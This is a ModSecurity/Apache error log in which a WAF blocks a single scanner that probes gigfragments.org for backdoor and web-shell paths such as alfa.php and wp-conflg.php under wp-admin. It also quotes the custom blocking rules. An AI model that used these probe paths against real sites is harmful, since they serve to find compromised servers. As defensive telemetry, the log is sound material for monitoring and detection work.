[Sat Feb 21 03:20:22.455221 2026] [:error] [pid 38165:tid 38278] [client 104.46.226.22:46909] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aZiz9sveKhyo2vBHvI-vDQAAAEc"]
[Sat Feb 21 03:20:23.447199 2026] [:error] [pid 38340:tid 38360] [client 104.46.226.22:54810] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aZiz9xwhxuy_mBXA_-Io0AAAANI"]
[Sat Feb 21 03:20:24.257769 2026] [:error] [pid 38165:tid 38275] [client 104.46.226.22:5589] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aZiz-MveKhyo2vBHvI-vDgAAAEQ"]
[Sat Feb 21 03:20:25.173437 2026] [:error] [pid 38166:tid 38322] [client 104.46.226.22:60443] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aZiz-TatjXy17zTTzEFZYQAAAJg"]
[Sat Feb 21 03:20:25.706000 2026] [:error] [pid 38166:tid 38308] [client 104.46.226.22:60624] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aZiz-TatjXy17zTTzEFZYwAAAIo"]
[Sat Feb 21 03:20:26.550581 2026] [:error] [pid 38340:tid 38356] [client 104.46.226.22:46852] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aZiz-hwhxuy_mBXA_-Io1gAAAM4"]
[Sat Feb 21 03:20:27.871893 2026] [:error] [pid 38165:tid 38291] [client 104.46.226.22:46911] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aZiz-8veKhyo2vBHvI-vGAAAAFQ"]
[Sat Feb 21 03:20:29.874179 2026] [:error] [pid 38165:tid 38287] [client 104.46.226.22:5568] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aZiz_cveKhyo2vBHvI-vJwAAAFA"]
[Sat Feb 21 03:20:30.668195 2026] [:error] [pid 38165:tid 38275] [client 104.46.226.22:60659] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aZiz_sveKhyo2vBHvI-vKwAAAEQ"]
[Sat Feb 21 03:20:32.126837 2026] [:error] [pid 38166:tid 38308] [client 104.46.226.22:60475] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aZi0ADatjXy17zTTzEFZcQAAAIo"]
[Sat Feb 21 03:20:33.916208 2026] [:error] [pid 38165:tid 38294] [client 104.46.226.22:5942] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aZi0AcveKhyo2vBHvI-vLwAAAFc"]
[Sat Feb 21 03:20:42.710479 2026] [:error] [pid 38166:tid 38300] [client 104.46.226.22:46899] [client 104.46.226.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aZi0CjatjXy17zTTzEFZhQAAAII"]
[Sat Feb 21 03:20:54.931156 2026] [:error] [pid 38164:tid 38251] [client 104.46.226.22:5906] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aZi0FtbO3dRxYRcZLe2LxQAAAAo"]
[Sat Feb 21 03:20:55.403771 2026] [:error] [pid 38166:tid 38317] [client 104.46.226.22:46902] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aZi0FzatjXy17zTTzEFZnwAAAJM"]
[Sat Feb 21 03:20:56.102179 2026] [:error] [pid 38164:tid 38259] [client 104.46.226.22:46872] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aZi0GNbO3dRxYRcZLe2LyQAAABI"]
[Sat Feb 21 03:20:56.590718 2026] [:error] [pid 38340:tid 38353] [client 104.46.226.22:46897] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aZi0GBwhxuy_mBXA_-IpHgAAAMs"]
[Sat Feb 21 03:20:57.549764 2026] [:error] [pid 38340:tid 38352] [client 104.46.226.22:60950] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aZi0GRwhxuy_mBXA_-IpIAAAAMo"]
[Sat Feb 21 03:20:58.716968 2026] [:error] [pid 38340:tid 38364] [client 104.46.226.22:5859] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aZi0Ghwhxuy_mBXA_-IpIwAAANY"]
[Sat Feb 21 03:20:59.166586 2026] [:error] [pid 38164:tid 38243] [client 104.46.226.22:5867] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aZi0G9bO3dRxYRcZLe2L0QAAAAI"]
[Sat Feb 21 03:20:59.489592 2026] [:error] [pid 38164:tid 38245] [client 104.46.226.22:60727] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aZi0G9bO3dRxYRcZLe2L0gAAAAQ"]
[Sat Feb 21 03:21:00.040542 2026] [:error] [pid 38340:tid 38346] [client 104.46.226.22:46850] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aZi0HBwhxuy_mBXA_-IpJwAAAMQ"]
[Sat Feb 21 03:21:01.652282 2026] [:error] [pid 38166:tid 38302] [client 104.46.226.22:5882] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aZi0HTatjXy17zTTzEFZpwAAAIQ"]
[Sat Feb 21 03:21:02.516303 2026] [:error] [pid 38164:tid 38263] [client 104.46.226.22:60421] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aZi0HtbO3dRxYRcZLe2L2AAAABY"]
[Sat Feb 21 03:21:03.383941 2026] [:error] [pid 38165:tid 38280] [client 104.46.226.22:56687] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aZi0H8veKhyo2vBHvI-vWQAAAEk"]
[Sat Feb 21 03:21:04.350087 2026] [:error] [pid 38340:tid 38351] [client 104.46.226.22:54823] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aZi0IBwhxuy_mBXA_-IpLQAAAMk"]
[Sat Feb 21 03:21:04.887847 2026] [:error] [pid 38166:tid 38306] [client 104.46.226.22:46861] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aZi0IDatjXy17zTTzEFZsgAAAIg"]
[Sat Feb 21 03:21:05.498844 2026] [:error] [pid 38165:tid 38288] [client 104.46.226.22:60471] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aZi0IcveKhyo2vBHvI-vXAAAAFE"]
[Sat Feb 21 03:21:06.002226 2026] [:error] [pid 38340:tid 38343] [client 104.46.226.22:5827] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aZi0Ihwhxuy_mBXA_-IpMwAAAME"]
[Sat Feb 21 03:21:06.928505 2026] [:error] [pid 38164:tid 38251] [client 104.46.226.22:46903] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aZi0ItbO3dRxYRcZLe2L4QAAAAo"]
[Sat Feb 21 03:21:07.534347 2026] [:error] [pid 38166:tid 38320] [client 104.46.226.22:54837] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aZi0IzatjXy17zTTzEFZtQAAAJY"]
[Sat Feb 21 03:21:08.115858 2026] [:error] [pid 38340:tid 38354] [client 104.46.226.22:60682] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aZi0JBwhxuy_mBXA_-IpOAAAAMw"]
[Sat Feb 21 03:21:08.640801 2026] [:error] [pid 38166:tid 38319] [client 104.46.226.22:60618] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aZi0JDatjXy17zTTzEFZtwAAAJU"]
[Sat Feb 21 03:21:09.662229 2026] [:error] [pid 38166:tid 38316] [client 104.46.226.22:60699] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aZi0JTatjXy17zTTzEFZuwAAAJI"]
[Sat Feb 21 03:21:09.972034 2026] [:error] [pid 38164:tid 38264] [client 104.46.226.22:60427] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aZi0JdbO3dRxYRcZLe2L5QAAABc"]
[Sat Feb 21 03:21:10.848215 2026] [:error] [pid 38164:tid 38256] [client 104.46.226.22:5934] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aZi0JtbO3dRxYRcZLe2L5wAAAA8"]
[Sat Feb 21 03:21:12.202860 2026] [:error] [pid 38340:tid 38355] [client 104.46.226.22:5891] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aZi0KBwhxuy_mBXA_-IpQQAAAM0"]
[Sat Feb 21 03:21:12.685014 2026] [:error] [pid 38166:tid 38319] [client 104.46.226.22:54793] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aZi0KDatjXy17zTTzEFZxQAAAJU"]
[Sat Feb 21 03:21:13.077809 2026] [:error] [pid 38340:tid 38346] [client 104.46.226.22:60439] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aZi0KRwhxuy_mBXA_-IpQgAAAMQ"]
[Sat Feb 21 03:21:13.507985 2026] [:error] [pid 38340:tid 38345] [client 104.46.226.22:60441] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aZi0KRwhxuy_mBXA_-IpRAAAAMM"]
[Sat Feb 21 03:21:14.139510 2026] [:error] [pid 38164:tid 38261] [client 104.46.226.22:56562] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aZi0KtbO3dRxYRcZLe2L7gAAABQ"]
[Sat Feb 21 03:21:14.725451 2026] [:error] [pid 38340:tid 38354] [client 104.46.226.22:65470] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aZi0Khwhxuy_mBXA_-IpSAAAAMw"]
[Sat Feb 21 03:21:15.047829 2026] [:error] [pid 38164:tid 38243] [client 104.46.226.22:54815] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aZi0K9bO3dRxYRcZLe2L8AAAAAI"]
[Sat Feb 21 03:21:16.163371 2026] [:error] [pid 38164:tid 38256] [client 104.46.226.22:60424] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aZi0LNbO3dRxYRcZLe2L8gAAAA8"]
[Sat Feb 21 03:21:16.926815 2026] [:error] [pid 38164:tid 38253] [client 104.46.226.22:60911] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aZi0LNbO3dRxYRcZLe2L8wAAAAw"]
[Sat Feb 21 03:21:17.446503 2026] [:error] [pid 38340:tid 38346] [client 104.46.226.22:60688] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aZi0LRwhxuy_mBXA_-IpTgAAAMQ"]
[Sat Feb 21 03:21:18.196346 2026] [:error] [pid 38340:tid 38366] [client 104.46.226.22:46901] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aZi0Lhwhxuy_mBXA_-IpUAAAANg"]
[Sat Feb 21 03:21:18.653849 2026] [:error] [pid 38166:tid 38306] [client 104.46.226.22:5570] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aZi0LjatjXy17zTTzEFZ1wAAAIg"]
[Sat Feb 21 03:21:19.379708 2026] [:error] [pid 38166:tid 38312] [client 104.46.226.22:54807] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aZi0LzatjXy17zTTzEFZ2wAAAI4"]
[Sat Feb 21 03:21:20.305262 2026] [:error] [pid 38166:tid 38308] [client 104.46.226.22:60973] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aZi0MDatjXy17zTTzEFZ4wAAAIo"]
[Sat Feb 21 03:21:20.888842 2026] [:error] [pid 38166:tid 38305] [client 104.46.226.22:60479] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aZi0MDatjXy17zTTzEFZ6gAAAIc"]
[Sat Feb 21 03:21:21.359092 2026] [:error] [pid 38166:tid 38317] [client 104.46.226.22:5929] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aZi0MTatjXy17zTTzEFZ9AAAAJM"]
[Sat Feb 21 03:21:22.619512 2026] [:error] [pid 38166:tid 38313] [client 104.46.226.22:46896] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aZi0MjatjXy17zTTzEFaAQAAAI8"]
[Sat Feb 21 03:21:23.812923 2026] [:error] [pid 38165:tid 38291] [client 104.46.226.22:60430] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aZi0M8veKhyo2vBHvI-vegAAAFQ"]
[Sat Feb 21 03:21:24.800079 2026] [:error] [pid 38340:tid 38356] [client 104.46.226.22:5862] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aZi0NBwhxuy_mBXA_-IpYQAAAM4"]
[Sat Feb 21 03:21:25.539357 2026] [:error] [pid 38164:tid 38250] [client 104.46.226.22:60894] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aZi0NdbO3dRxYRcZLe2MDAAAAAk"]
[Sat Feb 21 03:21:26.006252 2026] [:error] [pid 38166:tid 38309] [client 104.46.226.22:46895] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aZi0NjatjXy17zTTzEFaFwAAAIs"]
